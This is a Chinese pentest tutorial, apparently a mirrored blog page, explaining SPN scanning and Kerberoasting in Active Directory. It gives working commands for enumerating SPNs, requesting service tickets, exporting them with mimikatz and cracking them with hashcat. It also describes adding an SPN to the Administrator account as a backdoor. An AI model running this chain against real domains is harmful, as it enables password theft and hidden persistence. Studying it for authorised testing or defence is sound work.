zoukankan      html  css  js  c++  java
  • 域渗透:SPN和Kerberoast攻击

    参考文章:https://mp.weixin.qq.com/s?__biz=MzU2MTQwMzMxNA%3D%3D&chksm=fc781175cb0f986392b4c78112dcd01bf5c71e7d6bdc292f0d8a556cc27e6bd8ebc54278165d&idx=1&mid=2247488936&scene=21&sn=82c127c8ad6d3e36f1a977e5ba122228#wechat_redirect
    参考文章:https://www.freebuf.com/articles/system/196434.html
    参考文章:https://3gstudent.github.io/3gstudent.github.io/域渗透-Kerberoasting/
    参考文章:https://rcoil.me/2019/06/【域渗透】SPN 扫描利用/

    什么是Service Principal Names:

    SPN 简介:服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。

    Kerberos 身份验证:使用 SPN 将服务实例与服务登录帐户相关联

    如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。

    SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册SPN。

    SPN类型分为两种:

    1、一种注册在AD上机器帐户(Computers)下,当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下

    2、另一种注册在域用户帐户(Users)下,当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下

    如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置SPN。

    SPN的语法格式:

    <service class>/<host>:<port> <servername>
        服务类型    /对应机器名:服务端口[默认端口可不写]
    
    其中 <service class> 和 <host> 为必需元素
    

    1、<service class>可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等,例如MSSQLSvc/WIN-CKT0M35R6UO.top.pentest.top:1433

    2、host有两种形式,FQDN和NetBIOS名,例如WIN-CKT0M35R6UO.top.pentest.top或者是WIN-CKT0M35R6UO

    3、如果服务运行在默认端口上,则端口号(port)可以省略

    如何查看已经注册的SPN:

    查找pentest.God域下注册的SPN:

    setspn.exe -T pentest.God -q */*

    查看当前域内的所有SPN:setspn -Q */*

    如何手动给域机器或者域用户创建 SPN:

    语法setspn -S http/<computername>.<domainname> <domain-user-account>

    -S 参数:验证不存在重复项后,添加随意 SPN。

    注意: -S 从 Windows Server 2008 开始系统默认提供。

    例如(参考rcoil):创建一个spn http服务的,主机名为WebDemo_PC,域名为rcoil.me 创建的用户为域用户rcoilweb

    Setspn -s http/WebDemo_PC.rcoil.me rcoilweb

    Setspn -s http/WebDemo_PC.rcoil.me WebDemo_PC$

    查看的时候setspn,可以用-L 指定用户(域机器名)查询,比如setspn -L web 或者 setspn -L WebDemo_PC$

    如何在内网中进行SPN 扫描:

    介绍: 在一个大型域中通常会有不止一个的服务注册 SPN,所以可以通过「SPN 扫描」的方式来查看域内的服务。

    优点: 比如想知道域内哪些主机安装了什么服务,我们就不需要再进行批量的网络端口扫描。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。

    扫描工具:

    1.GetUserSPNs.ps1:

    GetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。

    2.GetUserSPNs.vbs:

    cscript .GetUserSPNs.vbs

    如何对SPN进行Kerberoasting攻击

    Kerberoasting 是域渗透中经常使用的一项技术,是通过 爆破TGS-REP 实现,在TGS_REP的过程中用户将会收到由目标服务实例的NTLM hash加密生成的TGS(service ticket),加密算法为RC4-HMAC,如果获得这个TGS,我们可以尝试穷举口令,模拟加密过程,进行破解

    利用方法:

    由于域内的任何用户都可以向域内的任何服务请求TGS,知道相关服务的SPN后,可以用SPN申请一张票据 ST(TGS Ticket),如果Kerberos 协议设置票据为 RC4加密,则可通过爆破的方式得到服务对应用户的密码。


    第一种利用方法:

    首先,在powershell上申请票据:

    请求单个TGS:

    Add-Type -AssemblyName System.IdentityModel

    New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "https/testDemo.pentest.God"

    请求所有TGS:

    Add-Type -AssemblyName System.IdentityModel

    setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System. IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }

    Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据

    接着可使用mimikatz导出票据

    工具解密:https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.pywordlist.txt是字典,test.kirbi为导出的票据

    tgsrepcrack.py wordlist.txt test.kirbi

    缺点:考虑mimikatz免杀


    第二种利用方法:

    Invoke-Kerberoast.ps1导出转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串,

    -AdminCount表示选择高权限的用户,powershell下执行以下内容

    Import-Module .Invoke-Kerberoast.ps1

    Invoke-Kerberoast -AdminCount -OutputFormat Hashcat | Select hash | ConvertTo-CSV -NoTypeInformation

    然后再通过hashcat进行密码破解hashcat64.exe -m 13100 hash.txt pass.txt

    如何扩大攻击路线:

    原因:管理员可以使用工具SetSPN -S来手动注册SPN。但是这不是一个最好的方法,毕竟手工注册不是长久之计。如果SPN下次丢了,又要再次手动注册。

    所以比较好的方法,是让SQL Server当前启动域账号有注册SPN的权力。要在DC上为域账号赋予 Read servicePrincipalNameWrite serverPrincipalName 的权限即可

    那么就可以在域内进行查询具有Read servicePrincipalNameWrite serverPrincipalName的域用户的权限

    Kerberoasting权限维持:

    在我们取得了 SPN 的修改权限(其实也就是拿到域管的权限)后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS ,经过破解后获得明文口令,可以作为一个后门使用。

    例如为域用户Administrator添加SPN fps/top.pentest.top Administrator,参数如下:

    setspn.exe -U -A fps/top.pentest.top Administrator

    删除SPN的参数如下:

    setspn.exe -D fps/top.pentest.top Administrator

    总结SPN利用流程:

    1、查询SPN,找到有价值的SPN,需要满足的条件:该SPN注册在域用户帐户(Users)下 并且 域用户账户的权限很高
    2、请求TGS
    3、导出TGS
    4、暴力破解

  • 相关阅读:
    Windows下使用CMake编译SuiteSparse成VS工程
    【设计模式
    【设计模式
    vue过滤和复杂过滤
    el-tooltip 自定义样式
    el-table加表单验证
    使用Go env命令设置Go的环境
    面试官:GET 和 POST 两种基本请求方法有什么区别?
    解决 Vue 重复点击相同路由报错的问题
    利用promise和装饰器封装一个缓存api请求的装饰器工具
  • 原文地址:https://www.cnblogs.com/zpchcbd/p/11707776.html
Copyright © 2011-2022 走看看